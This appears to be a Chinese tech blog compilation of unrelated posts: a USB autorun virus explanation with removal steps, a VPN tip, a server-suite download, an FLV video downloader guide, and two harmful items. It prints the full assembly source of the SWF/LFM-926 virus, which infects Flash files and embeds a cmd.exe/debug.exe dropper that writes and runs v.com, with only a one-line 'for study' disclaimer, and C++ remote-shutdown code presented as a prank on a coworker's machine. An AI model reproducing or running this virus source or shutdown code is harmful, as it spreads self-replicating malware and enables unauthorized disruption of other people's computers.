U盘(auto病毒)类病毒分析与解决方案

一、U盘病毒简述: 
  U盘(自动运行)类病毒(auto病毒)近来非常常见,并且具有一定程度危害,它的机理是依赖Windows的自动运行功能,使得我们在点击打开磁盘的时候,自动执行相关的文件。目前我们使用U盘都十分频繁,当我们享受U盘所带来的方便时,U盘病毒也在悄悄利用系统的自动运行功能肆意传播,目前流行的U盘病毒文件大家甚至耳熟能详了,比如经常有网友问的SSS.EXE SXS.EXE如何查杀这类的,下面我们将对U盘病毒极其特性和防范办法进行分析总结。
  
二、特性分析:
  所谓的自动运行功能是指Windows系统一种方便特性,使当光盘、U盘插入到机器自动运行,而这种特性的实现就是通过磁盘跟目录下的 autorun.inf文件进行。这个文件保存在驱动器的根目录下(一般会是一个隐藏属性的系统文件),它保存着一些简单的命令,告知系统新插入的光盘或 U盘应该自动启动什么程序等。
  常见的Autorun.inf文件格式大致如下:
  [AutoRun]    //表示AutoRun部分开始,必须输入
  icon=C:\C.ico  //指定给C盘一个个性化的盘符图标C.ico
  open=C:\1.exe  //指定要运行程序的路径和名称,只要在此放入病毒程序就可自动运行;
  在Windows系统有允许和阻止自动运行的键值的方法:
  在注册表中找到如下键:
  键路径:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer]
  在右侧窗格中有 "NoDriveTypeAutoRun"这个键决定了是否执行Autorun功能.其中每一位代表一个设备,不同设备用以下数值表示:
  设备名称 第几位 值 设备用如下数值表示 设备名称含义
  DRIVE_UNKNOWN 0 1 01h 不能识别的类型设备
  DRIVE_NO_ROOT_DIR 1 0 02h 没有根目录的驱动器
  DRIVE_REMOVABLE 2 1 04h 可移动驱动器
  DRIVE_FIXED 3 0 08h 固定的驱动器
  DRIVE_REMOTE 4 1 10h 网络驱动器
  DRIVE_CDROM 5 0 20h 光驱
  DRIVE_RAMDISK 6 0 40h RAM磁盘
  其中: 保留 7 1 80h  未指定的驱动器类型
  以上值"0"表示设备运行,"1"表示设备不运行。
  从上面可以看出,对应的DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK是可以自动运行的。所以要禁止硬盘自动运行AutoRun.inf文件,就必须将DRIVE_FIXED这些键的值设为1,由于DRIVE_FIXED代表固定的驱动 器(即硬盘)。如果仅想禁止软件光盘的AutoRun功能,但又保留对CD音频碟的自动播放能力,这时只需将“NoDriveTypeAutoRun”的键值改为:BD,00,00,00即可。
  U盘病毒就是利用这种系统特性,一般在感染后会修改系统的注册表,将显示所有文件的选项设置为禁止。甚至修改磁盘关联,杀毒软件一般会只把病毒文件清除,但对残余的文件不会处理。这也是常见的杀毒软件为什么常常无法清除干净,或者清除后双击无法打开磁盘的原因。
  
三、解决方案:
  1、使用超级巡警套装来全面解决U盘病毒问题(推荐!):
  ①超级巡警对U盘病毒检测进行了特别的处理,可以快速的监测和定位U盘病毒,并清除它们。
  ②超级巡警同时还提供对注册表关联修复和自动运行阻止的处理。
  2、手动解决办法:
  ①根据上面的原理,自己修改注册表禁止磁盘的自动运行特性。
  ②把文件夹选项中隐藏受保护的操作系统文件钩掉,选中显示所有文件和文件夹,点击确定。这样可以在感染病毒的移动存储设备中会看到几个文件(包括autorun.inf和病毒文件),删除后,病毒就清除了。

利用 hotspot shield 访问你想访问的站点

hotspot shield 是一个在访问 wi-fi 热点时让你处于匿名状态、保护你隐私的工具,它通过在你的计算机和无线路由间创建一个 VPN,可以将你在互联网上的所有活动自动加密并通过 wi-fi 进行传输。attachments/200710/4395408838.png
我们要关注的是,利用 hotspot shield,能够将我们的 ip 地址伪装成美国的,这样一来,很多由于
不可抗力因素不能访问的站点都能够轻轻松松的进行浏览了。相比@无&界@和@自&由#门@,它的速度还是比较快的,并且没有浏览器种类的限制。
另外,一些 web 2.0 站点在测试时的注册有国家限制,比如说只对美国和加拿大开放,通过 hotspot shield 现在你也可以很轻松的注册了。

XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件

XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件发布!

软件名称:XmiServer_v2.4.2
软件版本:v2.4.2
软件授权:免费软件
使用平台:WinNT/XP/2000/2003

下载地址
  1.  下载文件XmiServer_v2.4.2 ASP+CGI+PHP+JSP+MySQL 全能服务器套件.rar (0 Byte , 下载:285次)  (推荐!高速下载!)
  2. http://pickup.mofile.com/cn/index.do (MoFile) 请在左上角输入文件提取码: 6376342876538358  (有时效!!!)

简介:
XmiServer_v2.4是一款基于Apache+Tomcat的全能服务器套件,
拥有安装简单、便捷、绿色、免配置等特点,
可以快速搭建 ASP+CGI+PHP+JSP+MySQL 全能网站服务器平台,
方便您调试和开发ASP、CGI、PHP、JSP 等程序。

目录简要说明:
XmiServer
├─Links 各组件快捷链接
├─Server 程序主目录
│ ├─Apache Apache程序目录
│ ├─Database MySQL 数据库目录
│ │ ├─Database_MySQL5 MySQL5 数据库目录
│ │ └─Database_MySQL4 MySQL4 数据库目录
│ ├─JAVA JAVA程序目录
│ ├─MySQL4 MySQL4 程序目录
│ ├─MySQL5 MySQL5 程序目录
│ ├─PHP PHP程序目录
│ ├─phpMyAdmin phpMyAdmin目录
│ ├─TempLogs 临时文件及日志文件目录
│ ├─Tomcat Tomcat程序目录
│ └─Zend Zend Optimizer 程序目录
└─wwwRoot 虚拟主机网站根目录
├─asp ASP程序目录
├─cgi-bin CGI程序目录
└─webapps JSP程序目录

使用程序版本:
Apache v2.2.4
Tomcat v5.5.20
Netbox v2.8.4128
PHP v5.2.0
MySQL5 v5.0.27
MySQL4 v4.0
MiniPerl v5.8
JDK v1.5.0_07
Zend v3.2.0
phpMyAdmin v2.9.1.1

国外的第一只[感染*.swf]flash病毒的源代码

SWF/LFM-926 Virus:
; ------------------
; Description: WinNT/XP Virus dropper for Flash .SWF files!
; Masm Version 6.11: ML.EXE SWF.ASM
; Virus Size: 926 bytes
; Infection Size: 3247 bytes.
; Last Edit: 01/08/2002

; --------------------------------- Begin Source Code ------------------------------------

.286
.model tiny
.code
org 100h

Entry: jmp Start

VIR_SIZE equ Virus_End-Entry

DTA db 128 dup(0) ; Offset DTA+30 = filename
HANDLE dw ? ; Handle to host file
PTR1 dd 0 ; Segment address of the created memory block
PATH db "*.SWF",0 ; File mask
BINARY db "v.com",0 ; Binary code
HEX db "0123456789ABCDEF" ; Binary to hex

; Flash header block.
; -------------------
SIGN_FW dw ? ; SWF file format
SIGN_S db ?
VERSION_NUM db ?
FILE_LENGTH dw ?
dw ?
STATIC_HDR_SIZE equ $-SIGN_FW

RECT_BUF db 20 dup(0) ; Header length is variable because the RECT region isnt static. ;(
RECT_BUF_SIZE equ $-RECT_BUF

HDR_SIZE dw ? ; Holds the true header size!

; Start of Viral Frame 0.
; -----------------------
Drop_BEGIN db 03fh,003h ; DoAction Tag(12) long format. Learn the bytecodes!
TAG_LENGTH dw 0 ; (ACTION LENGTH+3)+1[END_TAG]
dw 0
db 083h ; ActionGetUrl Tag
ACTION_LENGTH dw 0 ; (Drop_BEGIN_SIZE-9)+(SUM OF Drop_MIDDLE)+(Drop_END_SIZE)
db FSCommand:exec
db 000h
db cmd.exe
db 009h ; chr(9) is Flash code for a space character.
db /c
db 009h
db echo
db 009h
db Loading.Flash.Movie...
db &
db (echo
db 009h
db n
db 009h
db v.com&echo
db 009h
db a
db 009h
db 100&
Drop_BEGIN_SIZE equ $-Drop_BEGIN

Drop_MIDDLE db echo
db 009h
db db
db 009h
db 71 dup(,) ; db XX,...,XX where XXs are viral hex codes.
db &
Drop_MIDDLE_SIZE equ $-Drop_MIDDLE

Drop_END db &echo.&echo
db 009h
db rcx&echo
db 009h
db 39E ; Define hex 39E (VIR_SIZE) as a string. Changes if this code changes.
db &echo
db 009h
db w&echo
db 009h
db q)|debug.exe>nul&start
db 009h
db /b
db 009h
db v.com
db 000h ; StringEnd Tag
Drop_END_SIZE equ $-Drop_END

; End of Viral Frame 0.
; ---------------------
END_TAG db 001h ; Action code 0x01 = tagshowframe Tag

Start:
mov ax,(VIR_SIZE+0fh)
shr ax,4
shl ax,1
mov bx,ax ; Allocate (VirusSize*2)
mov ah,4ah
int 21h ; Resize block
jc ExProg

mov dx,offset DTA ; Set DTA operation
mov ah,1ah
int 21h

mov cx,07h
mov dx,offset PATH
mov ah,4eh ; FindFirst
int 21h
jc ExProg
jmp Infect
Cycle:
mov dx,offset PATH
mov ah,4fh ; FindNext
int 21h
jc ExProg
jmp Infect
ExProg:
mov ax,4301h ; Hide v.com
mov cx,02h
mov dx,offset BINARY
int 21h

mov ax,4c00h ; End program
int 21h
Infect:
mov byte ptr DTA[30+12],$
mov dx,offset (DTA+30)

mov ax,3d02h ; Open host file
int 21h
jc ExProg

mov [HANDLE],ax ; Save file handle

mov ax,3f00h ; Read file Header
mov dx,offset SIGN_FW
mov bx,[HANDLE]
mov cx,(STATIC_HDR_SIZE+RECT_BUF_SIZE)
int 21h
jc ExProg

cmp word ptr SIGN_FW,WF ; Check for a valid Flash SWF file.
jne Cycle ; Try another file ...
cmp byte ptr SIGN_S,S
jne Cycle
cmp byte ptr VERSION_NUM,099h ; Already infected?
je Cycle

mov cx,RECT_BUF_SIZE ; Search for the SetBackgroundColor Tag.
xor di,di ; Seems to always exist directly after the header.
next: cmp byte ptr RECT_BUF[di],043h
jne not_found
cmp byte ptr RECT_BUF[di+1],002h
jne not_found
jmp found
not_found:
inc di
loop next
jmp Cycle
found:
mov word ptr HDR_SIZE,STATIC_HDR_SIZE
add word ptr HDR_SIZE,di ; Compute the header size

mov ax,4200h ; Reset file ptr right after Flash header
xor cx,cx
mov dx,[HDR_SIZE]
int 21h
jc ExProg

push bx
mov ax,word ptr FILE_LENGTH
add ax,15
shr ax,4
mov bx,ax
mov ah,48h ; Allocate memory for target host file
int 21h
pop bx
jc ExProg
mov word ptr PTR1[2],ax ; Save pointer to allocated block

mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ah,3fh ; Read host file into memory block
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg

mov ax,4200h ; Reset file ptr to the middle code section
xor cx,cx
mov dx,[HDR_SIZE]
add dx,Drop_BEGIN_SIZE
int 21h
jc ExProg

;
; The following code is a key technique. It simply converts the
; virus from binary to hex characters and then inserts them into the host
; using a standard format that DEBUG.EXE expects! Flash only really
; allows plain text, so this satisfies that condition.
;

mov word ptr ACTION_LENGTH,(Drop_BEGIN_SIZE-9+Drop_END_SIZE)
push bx
mov cx,VIR_SIZE
xor si,si
xor di,di
ToHex:
mov bx,offset HEX ; Convert 8-bit binary number to a string representing a hex humber
mov al,byte ptr Entry[si]
mov ah,al
and al,00001111y
xlat
mov Drop_MIDDLE[STATIC_HDR_SIZE+di+1],al
shr ax,12
xlat
mov Drop_MIDDLE[STATIC_HDR_SIZE+di],al
inc si
inc di
inc di
inc di
mov ax,si
mov bl,24 ; Debug.exe can handle at most 24 defined bytes on 1 line.
div bl
or ah,ah
jnz cont
push cx
xor di,di
add word ptr ACTION_LENGTH,Drop_MIDDLE_SIZE
mov bx,[HANDLE] ; Write hex dump entry XX,...,XX
mov dx,offset Drop_MIDDLE
mov cx,Drop_MIDDLE_SIZE
mov ax,4000h
int 21h
jc ExProg
pop cx
cont:
loop ToHex
pop bx

or di,di
jz no_remainder

mov dx,offset Drop_MIDDLE
mov cx,di
add cx,7 ; STATIC_HDR_SIZE-1
add word ptr ACTION_LENGTH,cx
mov ax,4000h ; Write remainder hex dump entry XX,...,XX
int 21h
jc ExProg

no_remainder:
mov dx,offset Drop_END
mov cx,Drop_END_SIZE+1
mov ax,4000h ; Write end code and end of frame tag(01) into host
int 21h
jc ExProg

mov cx,word ptr FILE_LENGTH
sub cx,[HDR_SIZE]
mov ax,4000h ; Write host code directly after viral code.
push ds
lds dx,[PTR1]
int 21h
pop ds
jc ExProg
; Patch the header with new viral values.
mov cx,word ptr ACTION_LENGTH
add cx,4
mov word ptr TAG_LENGTH,cx
add cx,6
add word ptr FILE_LENGTH,cx ; Total file size increase = (TAG_LENGTH+6)
; Set infection marker
mov byte ptr VERSION_NUM,099h

mov di,[HDR_SIZE]
inc word ptr [SIGN_FW+di-2] ; Increase Frame count by 1

mov ax,4200h ; Re-wind to start of file
xor cx,cx
xor dx,dx
int 21h
jc ExProg

mov dx,offset SIGN_FW
mov cx,[HDR_SIZE]
mov ax,4000h ; Write updated viral header
int 21h
jc ExProg

mov dx,offset Drop_BEGIN
mov cx,Drop_BEGIN_SIZE
mov ax,4000h ; Write begin code into host
int 21h
jc ExProg

mov ah,49h ; Free memory block
mov es,word ptr PTR1[2]
int 21h
jc ExProg

mov ax,3e00h ; Close file
int 21h
jc ExProg

jmp Cycle ; DONE! Try to infect another.

Virus_End:
end Entry

被复仇天说后,重新看了下文件,感觉有点问题 ,特重新更改标题。
以上内容只供学习、研究使用,如果利用其来搞破坏或者是做些违法的事情。

C++实现远程关机

记得刚学C++的时候,喜欢研究API,当时同事有一个高手,写了段代码,我在写程序的时候,莫明妙的,机器突然关掉了!我正在纳闷的时候,我听到了他的奸笑!   原来是他干的,后来我研究了好久InitiateSystemShutdown这个API函数,了解被作弄的原理了,因为我的机器加入了Windows的域,而且域的超级用户我也设置成对我本机有Administrator权限,所以,他才有机可乘!后来写了以下这段代码,让他也在工作的时候被我远程关机,爽啊!学了新东西,又以其人之道还施彼身!
   //ShutDownSystem函数是关本地,自己的机器   
BOOL CAlarmClockDlg::ShutDownSystem()    {    HANDLE hToken;    TOKEN_PRIVILEGES tkp;    // Get a token for this process.    if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))    AfxMessageBox("OpenProcessToken");    // Get the LUID for the shutdown privilege.    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);    tkp.PrivilegeCount = 1; // one privilege to set    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    // Get the shutdown privilege for this process.    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);    if(GetLastError()!= ERROR_SUCCESS)    AfxMessageBox("AdjustTokenPrivileges");    // Shut down the system and force all applications to close.    if(!ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE, 0))    {    return FALSE;    }    else    {    return TRUE;    }    }    //shutdownHost这个就是远程关机的C++函数了!hostName可以是机器IP,也可以是机器名字!    BOOL CAlarmClockDlg::shutdownHost(CString hostName)    {    HANDLE hToken; // handle to process token    TOKEN_PRIVILEGES tkp; // pointer to token structure    BOOL fResult; // system shutdown flag    // Get the current process token handle so we can get shutdown    // privilege.    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))    AfxMessageBox("OpenProcessToken failed.");    // Get the LUID for shutdown privilege.    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);    tkp.PrivilegeCount = 1; // one privilege to set    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    // Get shutdown privilege for this process.    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);    // Cannot test the return value of AdjustTokenPrivileges.    if (GetLastError() != ERROR_SUCCESS)    AfxMessageBox("AdjustTokenPrivileges enable failed.");    // Display the shutdown dialog box and start the time-out countdown.    fResult = InitiateSystemShutdown("192.168.100.245", // shut down local computer    "Click on the main window and press the Escape key to cancel shutdown.", // message to user    1, // time-out period    FALSE, // ask user to close apps //注意这一段API调用!    FALSE); // reboot after shutdown    if (!fResult)    {    AfxMessageBox("InitiateSystemShutdown failed.");    }    // Disable shutdown privilege.    tkp.Privileges[0].Attributes = 0;    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);    if (GetLastError() != ERROR_SUCCESS)    {    AfxMessageBox("AdjustTokenPrivileges disable failed.");    }    return TRUE;    }

能让您下载土豆、六间房、爆米花等在线视频

flv 侦测、播放器-----UUmeFLVSpy环境:2000、2003、xp、vista

功能:在线flv视频下载兼播放

播放器界面如下

以上网站大部分都支持!

如何使用?

准备好迅雷、暴风2007和这款软件

1打开六间房,随便点击一个视频,复制地址栏中的地址。

2启动软件,把刚才复制的地址粘贴。如图所示。

3点击开始捕获,软件开始嗅探真实的地址。
4真实地址会在下面的列表中显示,都是flv文件,右击复制。

5启动迅雷,右击悬浮窗----新建下载任务-----确定。一会就能下载完毕了!
6因为该软件自带的播放器不能控制进度,建议大家用暴风2007。开始----程序-----暴风-----暴风综合设置----文件关联----全部视频 如图

说明:
1如果想快速操作,可以在迅雷中添加对flv文件的监视,这样一旦复制了真实地址,只要迅雷启动,就一下子弹出下载窗口。
2下载没有反应了,可以暂停在重新下载。
3对新浪的在线视频也支持的很好。
4软件自带的下载是调动ie下载,比较慢,建议用迅雷。如果你要下载的已经播放完毕,建议用软件自带的下载。其实是把ie缓冲(C:Documents and SettingsAdministratorLocal SettingsTemporary Internet Files)中的文件复制了一份。呵呵。。。。。
5如果你不怕麻烦,也可以自己到ie缓存中寻找!
               点击下载:下载文件能让您下载土豆、六间房等在线视频的软件.rar (1.3 MB , 下载:20次)